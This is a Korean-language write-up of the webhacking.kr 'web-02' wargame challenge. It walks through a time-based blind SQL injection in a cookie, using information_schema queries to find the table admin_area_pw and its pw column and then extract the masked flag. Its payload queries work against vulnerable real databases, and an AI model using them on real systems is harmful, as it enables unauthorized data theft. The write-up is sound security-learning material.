< 문제 >
https://webhacking.kr/challenge/web-02/
< 풀이 >
그림 1의 admin.php 페이지에는 password를 입력하는 입력 폼이 존재한다. 어떠한 에러 정보도 없고, sql injection도 소용이 없다.
cookie 값을 이용해, blind sql injection을 시도해 보았다. 그림 2는 참값을 그림 3은 거짓 값을 대입하니, time 값에 따라 페이지의 반응이 달랐다. 그러므로, 해당 공격을 통해 문제를 해결해 나간다.
아래 그림 4와 같이, 코드를 쿠키 값에 주입하여, 해당 데이터베이스 안에, 몇 개의 테이블이 존재하는지 살펴본다.
(select count(table_name) from information_schema.tables where table_schema = database())
information_schema.tables : 시스템 테이블 제외한 모든 테이블 추출한다. < 테이블 이름: table_name >
database() : 함수는 현재 데이터베이스 이름을 돌려주는 함수이다.
table_schema = database() : 현재 데이터베이스 내부의 테이블 이름에 한정 시킨다.
테이블의 갯수를 알았으니, 테이블 이름 길이를 알아내 본다.
(select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)
그림 5는 첫번 째 테이블의 길이를 추출하고 있다. time 값의 변화로, 길이는 13 인 것을 확인할 수 있다. 마찬가지로, 두 번째 테이블 길이가 3 인 것을 확인하였다.
테이블의 길이를 알아냈으니, 테이블 이름을 추출해본다. 2번째 테이블의 길이는 매우 짧으므로, 그림 6과 같이, 하나씩 대입해도, 시간이 오래 걸리진 않는다.
(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1)
(select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema=database() limit 1,1)
(select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema=database() limit 1,1)
첫 번째 테이블의 이름을 추출해 보자. 사실 13자리도, 그다지 많지 않아서 하나씩 대입해 줘도, 무방하다. ( 물론 자동화 스크립트를 사용하면 좋다 ) 첫 번째 테이블의 이름은 admin_area_pw이다.
해당 테이블의 칼럼 수를 구해본다. 코드는 아래와 같다.
(select count(column_name) from information_schema.columns where table_name = "admin_area_pw")
컬럼 개수는 다행히 한 개다. 아래의 코드로, 칼럼의 길이를 구해본다.
(select length(column_name) from information_schema.columns where table_name="admin_area_pw")
아래 그림 7은 해당 컬럼의 이름을 구하는 과정이며, 그 코드는 아래와 같다.
(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name="admin_area_pw")
컬럼 이름은 pw이다. 그림 8에서 pw 칼럼의 레코드 값의 길이를 구해본다.
그림 8과 같이 레코드 값의 길이는 17이다. 이제, 레코드 값을 출력해본다.
substr() 함수를 이용해 17번을 대입하면, kudos_to_***** 을 획득 할 수 있다.
한 줄 평 : 파이썬 자동화 스크립트가 시급하다..